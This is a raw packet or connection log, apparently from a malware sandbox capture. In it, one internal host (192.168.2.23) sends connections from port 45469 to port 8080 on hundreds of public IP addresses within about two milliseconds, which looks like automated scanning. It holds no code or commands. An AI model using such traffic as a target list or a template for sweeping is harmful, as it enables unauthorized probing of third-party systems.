Dec 26, 2023 21:22:46.137244940 CET	45469	8080	192.168.2.23	95.228.40.139
Dec 26, 2023 21:22:46.137244940 CET	45469	8080	192.168.2.23	31.95.101.47
Dec 26, 2023 21:22:46.137252092 CET	45469	8080	192.168.2.23	85.118.199.178
Dec 26, 2023 21:22:46.137262106 CET	45469	8080	192.168.2.23	31.224.157.7
Dec 26, 2023 21:22:46.137271881 CET	45469	8080	192.168.2.23	95.223.59.199
Dec 26, 2023 21:22:46.137274027 CET	45469	8080	192.168.2.23	95.103.121.175
Dec 26, 2023 21:22:46.137275934 CET	45469	8080	192.168.2.23	95.244.235.234
Dec 26, 2023 21:22:46.137281895 CET	45469	8080	192.168.2.23	94.217.202.248
Dec 26, 2023 21:22:46.137295961 CET	45469	8080	192.168.2.23	31.83.20.149
Dec 26, 2023 21:22:46.137307882 CET	45469	8080	192.168.2.23	95.166.106.5
Dec 26, 2023 21:22:46.137314081 CET	45469	8080	192.168.2.23	31.76.0.122
Dec 26, 2023 21:22:46.137327909 CET	45469	8080	192.168.2.23	95.173.87.105
Dec 26, 2023 21:22:46.137327909 CET	45469	8080	192.168.2.23	31.209.148.106
Dec 26, 2023 21:22:46.137348890 CET	45469	8080	192.168.2.23	31.17.85.67
Dec 26, 2023 21:22:46.137356043 CET	45469	8080	192.168.2.23	95.154.238.68
Dec 26, 2023 21:22:46.137360096 CET	45469	8080	192.168.2.23	94.51.207.208
Dec 26, 2023 21:22:46.137362957 CET	45469	8080	192.168.2.23	95.116.243.136
Dec 26, 2023 21:22:46.137383938 CET	45469	8080	192.168.2.23	85.147.195.250
Dec 26, 2023 21:22:46.137383938 CET	45469	8080	192.168.2.23	94.154.212.181
Dec 26, 2023 21:22:46.137383938 CET	45469	8080	192.168.2.23	95.209.66.241
Dec 26, 2023 21:22:46.137388945 CET	45469	8080	192.168.2.23	62.46.13.194
Dec 26, 2023 21:22:46.137392998 CET	45469	8080	192.168.2.23	62.107.43.214
Dec 26, 2023 21:22:46.137396097 CET	45469	8080	192.168.2.23	94.2.228.126
Dec 26, 2023 21:22:46.137402058 CET	45469	8080	192.168.2.23	94.13.130.129
Dec 26, 2023 21:22:46.137409925 CET	45469	8080	192.168.2.23	31.72.156.13
Dec 26, 2023 21:22:46.137420893 CET	45469	8080	192.168.2.23	31.44.182.57
Dec 26, 2023 21:22:46.137434006 CET	45469	8080	192.168.2.23	62.33.236.94
Dec 26, 2023 21:22:46.137439966 CET	45469	8080	192.168.2.23	31.171.201.59
Dec 26, 2023 21:22:46.137449980 CET	45469	8080	192.168.2.23	94.183.154.103
Dec 26, 2023 21:22:46.137456894 CET	45469	8080	192.168.2.23	62.161.153.47
Dec 26, 2023 21:22:46.137475014 CET	45469	8080	192.168.2.23	94.167.18.238
Dec 26, 2023 21:22:46.137479067 CET	45469	8080	192.168.2.23	95.196.118.173
Dec 26, 2023 21:22:46.137479067 CET	45469	8080	192.168.2.23	95.22.33.135
Dec 26, 2023 21:22:46.137484074 CET	45469	8080	192.168.2.23	85.181.163.219
Dec 26, 2023 21:22:46.137496948 CET	45469	8080	192.168.2.23	85.163.20.47
Dec 26, 2023 21:22:46.137502909 CET	45469	8080	192.168.2.23	95.75.5.55
Dec 26, 2023 21:22:46.137521029 CET	45469	8080	192.168.2.23	85.36.216.182
Dec 26, 2023 21:22:46.137537003 CET	45469	8080	192.168.2.23	31.98.225.61
Dec 26, 2023 21:22:46.137545109 CET	45469	8080	192.168.2.23	94.119.94.20
Dec 26, 2023 21:22:46.137550116 CET	45469	8080	192.168.2.23	62.101.81.38
Dec 26, 2023 21:22:46.137552023 CET	45469	8080	192.168.2.23	62.100.85.30
Dec 26, 2023 21:22:46.137562037 CET	45469	8080	192.168.2.23	94.49.72.75
Dec 26, 2023 21:22:46.137569904 CET	45469	8080	192.168.2.23	62.124.23.85
Dec 26, 2023 21:22:46.137597084 CET	45469	8080	192.168.2.23	31.194.140.183
Dec 26, 2023 21:22:46.137599945 CET	45469	8080	192.168.2.23	94.246.230.246
Dec 26, 2023 21:22:46.137607098 CET	45469	8080	192.168.2.23	95.43.159.252
Dec 26, 2023 21:22:46.137615919 CET	45469	8080	192.168.2.23	95.89.44.254
Dec 26, 2023 21:22:46.137615919 CET	45469	8080	192.168.2.23	94.244.212.22
Dec 26, 2023 21:22:46.137631893 CET	45469	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:46.137635946 CET	45469	8080	192.168.2.23	62.61.12.250
Dec 26, 2023 21:22:46.137650013 CET	45469	8080	192.168.2.23	62.12.11.51
Dec 26, 2023 21:22:46.137656927 CET	45469	8080	192.168.2.23	95.107.159.161
Dec 26, 2023 21:22:46.137660980 CET	45469	8080	192.168.2.23	31.174.221.199
Dec 26, 2023 21:22:46.137660980 CET	45469	8080	192.168.2.23	95.240.180.161
Dec 26, 2023 21:22:46.137690067 CET	45469	8080	192.168.2.23	85.43.25.116
Dec 26, 2023 21:22:46.137693882 CET	45469	8080	192.168.2.23	94.231.77.127
Dec 26, 2023 21:22:46.137700081 CET	45469	8080	192.168.2.23	95.111.35.206
Dec 26, 2023 21:22:46.137700081 CET	45469	8080	192.168.2.23	85.103.252.33
Dec 26, 2023 21:22:46.137715101 CET	45469	8080	192.168.2.23	62.197.85.137
Dec 26, 2023 21:22:46.137717009 CET	45469	8080	192.168.2.23	95.79.61.6
Dec 26, 2023 21:22:46.137726068 CET	45469	8080	192.168.2.23	94.188.101.165
Dec 26, 2023 21:22:46.137726068 CET	45469	8080	192.168.2.23	62.249.176.175
Dec 26, 2023 21:22:46.137731075 CET	45469	8080	192.168.2.23	95.77.28.64
Dec 26, 2023 21:22:46.137737989 CET	45469	8080	192.168.2.23	94.145.126.164
Dec 26, 2023 21:22:46.137761116 CET	45469	8080	192.168.2.23	31.57.72.97
Dec 26, 2023 21:22:46.137763977 CET	45469	8080	192.168.2.23	85.25.68.225
Dec 26, 2023 21:22:46.137769938 CET	45469	8080	192.168.2.23	94.30.238.5
Dec 26, 2023 21:22:46.137773991 CET	45469	8080	192.168.2.23	62.116.73.112
Dec 26, 2023 21:22:46.137785912 CET	45469	8080	192.168.2.23	94.99.111.132
Dec 26, 2023 21:22:46.137787104 CET	45469	8080	192.168.2.23	94.122.55.219
Dec 26, 2023 21:22:46.137787104 CET	45469	8080	192.168.2.23	31.130.70.12
Dec 26, 2023 21:22:46.137800932 CET	45469	8080	192.168.2.23	31.46.216.154
Dec 26, 2023 21:22:46.137808084 CET	45469	8080	192.168.2.23	95.34.181.70
Dec 26, 2023 21:22:46.137826920 CET	45469	8080	192.168.2.23	31.133.57.57
Dec 26, 2023 21:22:46.137830019 CET	45469	8080	192.168.2.23	31.41.45.219
Dec 26, 2023 21:22:46.137844086 CET	45469	8080	192.168.2.23	94.170.138.11
Dec 26, 2023 21:22:46.137851000 CET	45469	8080	192.168.2.23	31.52.54.153
Dec 26, 2023 21:22:46.137856960 CET	45469	8080	192.168.2.23	62.56.12.80
Dec 26, 2023 21:22:46.137856960 CET	45469	8080	192.168.2.23	95.108.219.214
Dec 26, 2023 21:22:46.137857914 CET	45469	8080	192.168.2.23	95.56.81.40
Dec 26, 2023 21:22:46.137866974 CET	45469	8080	192.168.2.23	31.86.59.246
Dec 26, 2023 21:22:46.137873888 CET	45469	8080	192.168.2.23	62.207.94.24
Dec 26, 2023 21:22:46.137888908 CET	45469	8080	192.168.2.23	95.153.84.46
Dec 26, 2023 21:22:46.137896061 CET	45469	8080	192.168.2.23	85.242.62.42
Dec 26, 2023 21:22:46.137896061 CET	45469	8080	192.168.2.23	85.19.88.249
Dec 26, 2023 21:22:46.137897015 CET	45469	8080	192.168.2.23	62.131.21.31
Dec 26, 2023 21:22:46.137917042 CET	45469	8080	192.168.2.23	85.211.9.210
Dec 26, 2023 21:22:46.137926102 CET	45469	8080	192.168.2.23	94.162.190.187
Dec 26, 2023 21:22:46.137928963 CET	45469	8080	192.168.2.23	95.165.140.183
Dec 26, 2023 21:22:46.137936115 CET	45469	8080	192.168.2.23	31.149.3.27
Dec 26, 2023 21:22:46.137934923 CET	45469	8080	192.168.2.23	62.160.113.100
Dec 26, 2023 21:22:46.137945890 CET	45469	8080	192.168.2.23	94.211.214.246
Dec 26, 2023 21:22:46.137962103 CET	45469	8080	192.168.2.23	95.27.198.162
Dec 26, 2023 21:22:46.137969017 CET	45469	8080	192.168.2.23	94.180.184.208
Dec 26, 2023 21:22:46.137984991 CET	45469	8080	192.168.2.23	31.77.123.202
Dec 26, 2023 21:22:46.137986898 CET	45469	8080	192.168.2.23	95.156.227.151
Dec 26, 2023 21:22:46.137989998 CET	45469	8080	192.168.2.23	31.98.239.8
Dec 26, 2023 21:22:46.138000011 CET	45469	8080	192.168.2.23	95.236.213.224
Dec 26, 2023 21:22:46.138010979 CET	45469	8080	192.168.2.23	85.84.216.187
Dec 26, 2023 21:22:46.138029099 CET	45469	8080	192.168.2.23	94.29.179.180
Dec 26, 2023 21:22:46.138027906 CET	45469	8080	192.168.2.23	62.41.168.216
Dec 26, 2023 21:22:46.138039112 CET	45469	8080	192.168.2.23	94.64.192.167
Dec 26, 2023 21:22:46.138045073 CET	45469	8080	192.168.2.23	94.21.138.251
Dec 26, 2023 21:22:46.138055086 CET	45469	8080	192.168.2.23	95.96.182.29
Dec 26, 2023 21:22:46.138071060 CET	45469	8080	192.168.2.23	95.155.122.147
Dec 26, 2023 21:22:46.138083935 CET	45469	8080	192.168.2.23	85.105.62.198
Dec 26, 2023 21:22:46.138092041 CET	45469	8080	192.168.2.23	85.166.31.195
Dec 26, 2023 21:22:46.138102055 CET	45469	8080	192.168.2.23	62.122.0.159
Dec 26, 2023 21:22:46.138115883 CET	45469	8080	192.168.2.23	62.109.214.0
Dec 26, 2023 21:22:46.138118982 CET	45469	8080	192.168.2.23	85.178.73.68
Dec 26, 2023 21:22:46.138124943 CET	45469	8080	192.168.2.23	62.201.169.77
Dec 26, 2023 21:22:46.138124943 CET	45469	8080	192.168.2.23	94.114.23.183
Dec 26, 2023 21:22:46.138144016 CET	45469	8080	192.168.2.23	94.43.98.68
Dec 26, 2023 21:22:46.138170958 CET	45469	8080	192.168.2.23	31.16.155.250
Dec 26, 2023 21:22:46.138170958 CET	45469	8080	192.168.2.23	62.130.239.153
Dec 26, 2023 21:22:46.138176918 CET	45469	8080	192.168.2.23	62.33.170.218
Dec 26, 2023 21:22:46.138178110 CET	45469	8080	192.168.2.23	62.245.91.91
Dec 26, 2023 21:22:46.138178110 CET	45469	8080	192.168.2.23	95.117.43.166
Dec 26, 2023 21:22:46.138196945 CET	45469	8080	192.168.2.23	62.125.1.128
Dec 26, 2023 21:22:46.138201952 CET	45469	8080	192.168.2.23	95.30.191.177
Dec 26, 2023 21:22:46.138206005 CET	45469	8080	192.168.2.23	94.187.76.176
Dec 26, 2023 21:22:46.138209105 CET	45469	8080	192.168.2.23	95.12.246.38
Dec 26, 2023 21:22:46.138223886 CET	45469	8080	192.168.2.23	31.32.196.136
Dec 26, 2023 21:22:46.138228893 CET	45469	8080	192.168.2.23	31.131.69.175
Dec 26, 2023 21:22:46.138232946 CET	45469	8080	192.168.2.23	95.95.74.111
Dec 26, 2023 21:22:46.138238907 CET	45469	8080	192.168.2.23	94.234.113.124
Dec 26, 2023 21:22:46.138259888 CET	45469	8080	192.168.2.23	94.105.18.94
Dec 26, 2023 21:22:46.138267040 CET	45469	8080	192.168.2.23	62.98.169.73
Dec 26, 2023 21:22:46.138281107 CET	45469	8080	192.168.2.23	95.233.179.138
Dec 26, 2023 21:22:46.138295889 CET	45469	8080	192.168.2.23	62.128.85.228
Dec 26, 2023 21:22:46.138313055 CET	45469	8080	192.168.2.23	31.12.67.236
Dec 26, 2023 21:22:46.138313055 CET	45469	8080	192.168.2.23	62.184.148.123
Dec 26, 2023 21:22:46.138313055 CET	45469	8080	192.168.2.23	95.242.176.140
Dec 26, 2023 21:22:46.138315916 CET	45469	8080	192.168.2.23	31.230.108.47
Dec 26, 2023 21:22:46.138319969 CET	45469	8080	192.168.2.23	85.19.54.104
Dec 26, 2023 21:22:46.138319969 CET	45469	8080	192.168.2.23	31.102.57.75
Dec 26, 2023 21:22:46.138330936 CET	45469	8080	192.168.2.23	31.67.8.142
Dec 26, 2023 21:22:46.138359070 CET	45469	8080	192.168.2.23	95.106.79.20
Dec 26, 2023 21:22:46.138361931 CET	45469	8080	192.168.2.23	95.241.203.54
Dec 26, 2023 21:22:46.138361931 CET	45469	8080	192.168.2.23	31.0.248.87
Dec 26, 2023 21:22:46.138365984 CET	45469	8080	192.168.2.23	95.62.57.136
Dec 26, 2023 21:22:46.138374090 CET	45469	8080	192.168.2.23	95.112.82.185
Dec 26, 2023 21:22:46.138375044 CET	45469	8080	192.168.2.23	31.104.73.185
Dec 26, 2023 21:22:46.138396025 CET	45469	8080	192.168.2.23	85.194.23.213
Dec 26, 2023 21:22:46.138400078 CET	45469	8080	192.168.2.23	85.157.138.221
Dec 26, 2023 21:22:46.138408899 CET	45469	8080	192.168.2.23	62.172.190.188
Dec 26, 2023 21:22:46.138408899 CET	45469	8080	192.168.2.23	62.171.88.29
Dec 26, 2023 21:22:46.138418913 CET	45469	8080	192.168.2.23	85.64.97.60
Dec 26, 2023 21:22:46.138421059 CET	45469	8080	192.168.2.23	94.242.133.255
Dec 26, 2023 21:22:46.138421059 CET	45469	8080	192.168.2.23	85.235.241.7
Dec 26, 2023 21:22:46.138432026 CET	45469	8080	192.168.2.23	31.237.78.8
Dec 26, 2023 21:22:46.138459921 CET	45469	8080	192.168.2.23	31.48.171.221
Dec 26, 2023 21:22:46.138464928 CET	45469	8080	192.168.2.23	85.218.48.114
Dec 26, 2023 21:22:46.138467073 CET	45469	8080	192.168.2.23	94.38.237.167
Dec 26, 2023 21:22:46.138474941 CET	45469	8080	192.168.2.23	31.214.145.67
Dec 26, 2023 21:22:46.138475895 CET	45469	8080	192.168.2.23	94.120.25.14
Dec 26, 2023 21:22:46.138483047 CET	45469	8080	192.168.2.23	85.80.185.105
Dec 26, 2023 21:22:46.138499975 CET	45469	8080	192.168.2.23	62.100.229.62
Dec 26, 2023 21:22:46.138503075 CET	45469	8080	192.168.2.23	85.154.121.158
Dec 26, 2023 21:22:46.138509035 CET	45469	8080	192.168.2.23	94.27.137.41
Dec 26, 2023 21:22:46.138513088 CET	45469	8080	192.168.2.23	62.239.116.110
Dec 26, 2023 21:22:46.138524055 CET	45469	8080	192.168.2.23	62.212.147.86
Dec 26, 2023 21:22:46.138524055 CET	45469	8080	192.168.2.23	85.231.199.160
Dec 26, 2023 21:22:46.138525963 CET	45469	8080	192.168.2.23	94.97.99.246
Dec 26, 2023 21:22:46.138542891 CET	45469	8080	192.168.2.23	85.107.69.56
Dec 26, 2023 21:22:46.138552904 CET	45469	8080	192.168.2.23	94.243.221.233
Dec 26, 2023 21:22:46.138561964 CET	45469	8080	192.168.2.23	31.76.17.189
Dec 26, 2023 21:22:46.138578892 CET	45469	8080	192.168.2.23	31.113.31.16
Dec 26, 2023 21:22:46.138595104 CET	45469	8080	192.168.2.23	31.31.87.44
Dec 26, 2023 21:22:46.138600111 CET	45469	8080	192.168.2.23	62.218.21.114
Dec 26, 2023 21:22:46.138600111 CET	45469	8080	192.168.2.23	94.41.7.38
Dec 26, 2023 21:22:46.138600111 CET	45469	8080	192.168.2.23	94.147.246.34
Dec 26, 2023 21:22:46.138616085 CET	45469	8080	192.168.2.23	62.168.5.149
Dec 26, 2023 21:22:46.138624907 CET	45469	8080	192.168.2.23	62.14.218.232
Dec 26, 2023 21:22:46.138645887 CET	45469	8080	192.168.2.23	31.64.63.52
Dec 26, 2023 21:22:46.138648987 CET	45469	8080	192.168.2.23	94.39.199.103
Dec 26, 2023 21:22:46.138659000 CET	45469	8080	192.168.2.23	94.79.68.71
Dec 26, 2023 21:22:46.138669014 CET	45469	8080	192.168.2.23	62.143.59.79
Dec 26, 2023 21:22:46.138670921 CET	45469	8080	192.168.2.23	95.217.84.251
Dec 26, 2023 21:22:46.138670921 CET	45469	8080	192.168.2.23	95.72.0.41
Dec 26, 2023 21:22:46.138688087 CET	45469	8080	192.168.2.23	31.40.2.51
Dec 26, 2023 21:22:46.138701916 CET	45469	8080	192.168.2.23	94.189.228.119
Dec 26, 2023 21:22:46.138729095 CET	45469	8080	192.168.2.23	62.56.157.190
Dec 26, 2023 21:22:46.138736010 CET	45469	8080	192.168.2.23	95.8.158.66
Dec 26, 2023 21:22:46.138746023 CET	45469	8080	192.168.2.23	85.121.42.153
Dec 26, 2023 21:22:46.138750076 CET	45469	8080	192.168.2.23	62.96.82.4
Dec 26, 2023 21:22:46.138761044 CET	45469	8080	192.168.2.23	31.234.58.209
Dec 26, 2023 21:22:46.138767958 CET	45469	8080	192.168.2.23	31.138.137.241
Dec 26, 2023 21:22:46.138770103 CET	45469	8080	192.168.2.23	85.17.119.98
Dec 26, 2023 21:22:46.138770103 CET	45469	8080	192.168.2.23	62.60.153.1
Dec 26, 2023 21:22:46.138796091 CET	45469	8080	192.168.2.23	62.217.113.184
Dec 26, 2023 21:22:46.138803959 CET	45469	8080	192.168.2.23	95.155.193.233
Dec 26, 2023 21:22:46.138824940 CET	45469	8080	192.168.2.23	62.114.99.100
Dec 26, 2023 21:22:46.138824940 CET	45469	8080	192.168.2.23	62.103.167.229
Dec 26, 2023 21:22:46.138823032 CET	45469	8080	192.168.2.23	85.138.112.141
Dec 26, 2023 21:22:46.138828993 CET	45469	8080	192.168.2.23	85.51.230.238
Dec 26, 2023 21:22:46.138834953 CET	45469	8080	192.168.2.23	62.43.170.215
Dec 26, 2023 21:22:46.138842106 CET	45469	8080	192.168.2.23	62.101.31.204
Dec 26, 2023 21:22:46.138847113 CET	45469	8080	192.168.2.23	94.202.184.209
Dec 26, 2023 21:22:46.138865948 CET	45469	8080	192.168.2.23	62.96.244.172
Dec 26, 2023 21:22:46.138865948 CET	45469	8080	192.168.2.23	31.249.155.167
Dec 26, 2023 21:22:46.138880014 CET	45469	8080	192.168.2.23	31.139.130.136
Dec 26, 2023 21:22:46.138881922 CET	45469	8080	192.168.2.23	94.177.254.127
Dec 26, 2023 21:22:46.138896942 CET	45469	8080	192.168.2.23	31.218.23.126
Dec 26, 2023 21:22:46.138935089 CET	45469	8080	192.168.2.23	94.11.234.11
Dec 26, 2023 21:22:46.138936043 CET	45469	8080	192.168.2.23	95.107.236.165
Dec 26, 2023 21:22:46.138941050 CET	45469	8080	192.168.2.23	94.109.159.216
Dec 26, 2023 21:22:46.138942003 CET	45469	8080	192.168.2.23	94.184.104.117
Dec 26, 2023 21:22:46.138950109 CET	45469	8080	192.168.2.23	62.148.178.171
Dec 26, 2023 21:22:46.138950109 CET	45469	8080	192.168.2.23	95.231.156.64
Dec 26, 2023 21:22:46.138951063 CET	45469	8080	192.168.2.23	94.91.16.227
Dec 26, 2023 21:22:46.138950109 CET	45469	8080	192.168.2.23	62.36.130.101
Dec 26, 2023 21:22:46.138958931 CET	45469	8080	192.168.2.23	85.242.190.34
Dec 26, 2023 21:22:46.138966084 CET	45469	8080	192.168.2.23	62.58.246.189
Dec 26, 2023 21:22:46.138966084 CET	45469	8080	192.168.2.23	31.133.231.206
Dec 26, 2023 21:22:46.138966084 CET	45469	8080	192.168.2.23	31.32.241.216
Dec 26, 2023 21:22:46.138966084 CET	45469	8080	192.168.2.23	94.134.172.184
Dec 26, 2023 21:22:46.138969898 CET	45469	8080	192.168.2.23	85.156.179.121
Dec 26, 2023 21:22:46.138969898 CET	45469	8080	192.168.2.23	62.50.176.3
Dec 26, 2023 21:22:46.138972044 CET	45469	8080	192.168.2.23	95.227.201.141
Dec 26, 2023 21:22:46.138973951 CET	45469	8080	192.168.2.23	95.108.136.109
Dec 26, 2023 21:22:46.138974905 CET	45469	8080	192.168.2.23	95.149.86.229
Dec 26, 2023 21:22:46.138974905 CET	45469	8080	192.168.2.23	94.174.166.220
Dec 26, 2023 21:22:46.138974905 CET	45469	8080	192.168.2.23	31.81.202.45
Dec 26, 2023 21:22:46.138987064 CET	45469	8080	192.168.2.23	31.68.200.112
Dec 26, 2023 21:22:46.138987064 CET	45469	8080	192.168.2.23	31.195.21.225
Dec 26, 2023 21:22:46.138992071 CET	45469	8080	192.168.2.23	94.121.195.24
Dec 26, 2023 21:22:46.138992071 CET	45469	8080	192.168.2.23	85.126.204.219
Dec 26, 2023 21:22:46.138993979 CET	45469	8080	192.168.2.23	94.165.64.81
Dec 26, 2023 21:22:46.139003992 CET	45469	8080	192.168.2.23	95.89.118.145
Dec 26, 2023 21:22:46.139003992 CET	45469	8080	192.168.2.23	95.82.201.51
Dec 26, 2023 21:22:46.139004946 CET	45469	8080	192.168.2.23	85.191.22.92
Dec 26, 2023 21:22:46.139004946 CET	45469	8080	192.168.2.23	62.72.173.187
Dec 26, 2023 21:22:46.139013052 CET	45469	8080	192.168.2.23	94.99.140.128
Dec 26, 2023 21:22:46.139015913 CET	45469	8080	192.168.2.23	94.55.239.195
Dec 26, 2023 21:22:46.139023066 CET	45469	8080	192.168.2.23	95.72.26.195
Dec 26, 2023 21:22:46.139023066 CET	45469	8080	192.168.2.23	85.179.252.163
Dec 26, 2023 21:22:46.139023066 CET	45469	8080	192.168.2.23	62.156.153.217
Dec 26, 2023 21:22:46.139030933 CET	45469	8080	192.168.2.23	95.221.251.50
Dec 26, 2023 21:22:46.139039040 CET	45469	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:46.139048100 CET	45469	8080	192.168.2.23	85.147.246.63
Dec 26, 2023 21:22:46.139049053 CET	45469	8080	192.168.2.23	62.232.79.58
Dec 26, 2023 21:22:46.139056921 CET	45469	8080	192.168.2.23	85.214.184.225
Dec 26, 2023 21:22:46.139084101 CET	45469	8080	192.168.2.23	31.192.165.233
Dec 26, 2023 21:22:46.139084101 CET	45469	8080	192.168.2.23	94.247.112.198
Dec 26, 2023 21:22:46.139086008 CET	45469	8080	192.168.2.23	94.145.191.74
Dec 26, 2023 21:22:46.139096022 CET	45469	8080	192.168.2.23	31.136.222.27
Dec 26, 2023 21:22:46.139100075 CET	45469	8080	192.168.2.23	95.223.11.249
Dec 26, 2023 21:22:46.139108896 CET	45469	8080	192.168.2.23	85.36.47.230
Dec 26, 2023 21:22:46.139115095 CET	45469	8080	192.168.2.23	31.109.238.66
Dec 26, 2023 21:22:46.139127970 CET	45469	8080	192.168.2.23	62.148.5.0
Dec 26, 2023 21:22:46.139127970 CET	45469	8080	192.168.2.23	85.54.148.5
Dec 26, 2023 21:22:46.139134884 CET	45469	8080	192.168.2.23	85.216.220.45
Dec 26, 2023 21:22:46.139137983 CET	45469	8080	192.168.2.23	95.186.138.185
Dec 26, 2023 21:22:46.139137983 CET	45469	8080	192.168.2.23	95.110.107.216
Dec 26, 2023 21:22:46.139144897 CET	45469	8080	192.168.2.23	94.41.134.103
Dec 26, 2023 21:22:46.139147043 CET	45469	8080	192.168.2.23	95.232.3.86
Dec 26, 2023 21:22:46.139147043 CET	45469	8080	192.168.2.23	95.106.9.42
Dec 26, 2023 21:22:46.139153957 CET	45469	8080	192.168.2.23	31.103.238.47
Dec 26, 2023 21:22:46.139154911 CET	45469	8080	192.168.2.23	62.184.93.70
Dec 26, 2023 21:22:46.139169931 CET	45469	8080	192.168.2.23	94.135.20.249
Dec 26, 2023 21:22:46.139169931 CET	45469	8080	192.168.2.23	31.152.2.180
Dec 26, 2023 21:22:46.139170885 CET	45469	8080	192.168.2.23	62.40.240.116
Dec 26, 2023 21:22:46.139193058 CET	45469	8080	192.168.2.23	31.26.170.18
Dec 26, 2023 21:22:46.139200926 CET	45469	8080	192.168.2.23	62.33.43.55
Dec 26, 2023 21:22:46.139200926 CET	45469	8080	192.168.2.23	95.67.27.46
Dec 26, 2023 21:22:46.139200926 CET	45469	8080	192.168.2.23	31.98.29.1
Dec 26, 2023 21:22:46.139205933 CET	45469	8080	192.168.2.23	31.161.136.132
Dec 26, 2023 21:22:46.139208078 CET	45469	8080	192.168.2.23	85.15.45.19
Dec 26, 2023 21:22:46.139211893 CET	45469	8080	192.168.2.23	94.116.117.135
Dec 26, 2023 21:22:46.139219046 CET	45469	8080	192.168.2.23	85.154.99.83
Dec 26, 2023 21:22:46.139221907 CET	45469	8080	192.168.2.23	62.43.145.88
Dec 26, 2023 21:22:46.139225960 CET	45469	8080	192.168.2.23	85.71.157.238
Dec 26, 2023 21:22:46.139244080 CET	45469	8080	192.168.2.23	94.43.206.52
Dec 26, 2023 21:22:46.139245033 CET	45469	8080	192.168.2.23	85.44.120.135
Dec 26, 2023 21:22:46.139261961 CET	45469	8080	192.168.2.23	85.105.75.15
Dec 26, 2023 21:22:46.139271975 CET	45469	8080	192.168.2.23	62.202.79.170
Dec 26, 2023 21:22:46.139280081 CET	45469	8080	192.168.2.23	31.47.32.194
Dec 26, 2023 21:22:46.139280081 CET	45469	8080	192.168.2.23	85.44.17.222
Dec 26, 2023 21:22:46.139297962 CET	45469	8080	192.168.2.23	94.47.10.205
Dec 26, 2023 21:22:46.139305115 CET	45469	8080	192.168.2.23	94.254.219.115
Dec 26, 2023 21:22:46.139306068 CET	45469	8080	192.168.2.23	94.62.46.110
Dec 26, 2023 21:22:46.139314890 CET	45469	8080	192.168.2.23	62.222.38.2
Dec 26, 2023 21:22:46.139333010 CET	45469	8080	192.168.2.23	62.114.250.113
Dec 26, 2023 21:22:46.139333010 CET	45469	8080	192.168.2.23	62.101.46.246
Dec 26, 2023 21:22:46.139349937 CET	45469	8080	192.168.2.23	94.15.23.113
Dec 26, 2023 21:22:46.139353037 CET	45469	8080	192.168.2.23	85.6.76.212
Dec 26, 2023 21:22:46.139358997 CET	45469	8080	192.168.2.23	62.32.3.90
Dec 26, 2023 21:22:46.139368057 CET	45469	8080	192.168.2.23	94.106.97.178
Dec 26, 2023 21:22:46.139384985 CET	45469	8080	192.168.2.23	31.134.160.42
Dec 26, 2023 21:22:46.139384985 CET	45469	8080	192.168.2.23	85.241.12.148
Dec 26, 2023 21:22:46.139389992 CET	45469	8080	192.168.2.23	95.217.76.249
Dec 26, 2023 21:22:46.139398098 CET	45469	8080	192.168.2.23	94.143.198.206
Dec 26, 2023 21:22:46.139409065 CET	45469	8080	192.168.2.23	31.72.104.173
Dec 26, 2023 21:22:46.139436960 CET	45469	8080	192.168.2.23	94.199.151.17
Dec 26, 2023 21:22:46.139437914 CET	45469	8080	192.168.2.23	62.158.143.219
Dec 26, 2023 21:22:46.139445066 CET	45469	8080	192.168.2.23	31.104.181.98
Dec 26, 2023 21:22:46.139445066 CET	45469	8080	192.168.2.23	31.205.208.130
Dec 26, 2023 21:22:46.139467955 CET	45469	8080	192.168.2.23	94.155.247.6
Dec 26, 2023 21:22:46.139467955 CET	45469	8080	192.168.2.23	85.132.23.232
Dec 26, 2023 21:22:46.139476061 CET	45469	8080	192.168.2.23	31.106.66.249
Dec 26, 2023 21:22:46.139482021 CET	45469	8080	192.168.2.23	95.16.98.196
Dec 26, 2023 21:22:46.139482021 CET	45469	8080	192.168.2.23	95.18.194.68
Dec 26, 2023 21:22:46.139482021 CET	45469	8080	192.168.2.23	95.112.13.251
Dec 26, 2023 21:22:46.139482975 CET	45469	8080	192.168.2.23	94.156.160.72
Dec 26, 2023 21:22:46.139482975 CET	45469	8080	192.168.2.23	62.36.140.158
Dec 26, 2023 21:22:46.139497042 CET	45469	8080	192.168.2.23	31.101.17.238
Dec 26, 2023 21:22:46.139511108 CET	45469	8080	192.168.2.23	85.177.31.187
Dec 26, 2023 21:22:46.139520884 CET	45469	8080	192.168.2.23	62.235.51.189
Dec 26, 2023 21:22:46.139520884 CET	45469	8080	192.168.2.23	95.229.136.103
Dec 26, 2023 21:22:46.139530897 CET	45469	8080	192.168.2.23	85.129.24.159
Dec 26, 2023 21:22:46.139530897 CET	45469	8080	192.168.2.23	95.158.162.10
Dec 26, 2023 21:22:46.139535904 CET	45469	8080	192.168.2.23	62.211.215.75
Dec 26, 2023 21:22:46.139535904 CET	45469	8080	192.168.2.23	85.84.114.3
Dec 26, 2023 21:22:46.139544010 CET	45469	8080	192.168.2.23	85.233.224.220
Dec 26, 2023 21:22:46.139547110 CET	45469	8080	192.168.2.23	31.210.20.247
Dec 26, 2023 21:22:46.139549971 CET	45469	8080	192.168.2.23	31.142.147.126
Dec 26, 2023 21:22:46.139563084 CET	45469	8080	192.168.2.23	95.29.159.117
Dec 26, 2023 21:22:46.139563084 CET	45469	8080	192.168.2.23	94.197.165.211
Dec 26, 2023 21:22:46.139569044 CET	45469	8080	192.168.2.23	94.217.16.122
Dec 26, 2023 21:22:46.139584064 CET	45469	8080	192.168.2.23	31.87.131.141
Dec 26, 2023 21:22:46.139585972 CET	45469	8080	192.168.2.23	31.105.154.22
Dec 26, 2023 21:22:46.139585972 CET	45469	8080	192.168.2.23	94.224.102.42
Dec 26, 2023 21:22:46.139594078 CET	45469	8080	192.168.2.23	31.100.250.221
Dec 26, 2023 21:22:46.139600039 CET	45469	8080	192.168.2.23	94.191.60.104
Dec 26, 2023 21:22:46.139600992 CET	45469	8080	192.168.2.23	62.21.189.61
Dec 26, 2023 21:22:46.139604092 CET	45469	8080	192.168.2.23	62.46.142.222
Dec 26, 2023 21:22:46.139612913 CET	45469	8080	192.168.2.23	95.209.148.209
Dec 26, 2023 21:22:46.139620066 CET	45469	8080	192.168.2.23	31.101.82.54
Dec 26, 2023 21:22:46.139627934 CET	45469	8080	192.168.2.23	62.61.251.218
Dec 26, 2023 21:22:46.139627934 CET	45469	8080	192.168.2.23	94.237.170.7
Dec 26, 2023 21:22:46.139631987 CET	45469	8080	192.168.2.23	95.170.43.4
Dec 26, 2023 21:22:46.139641047 CET	45469	8080	192.168.2.23	95.124.176.91
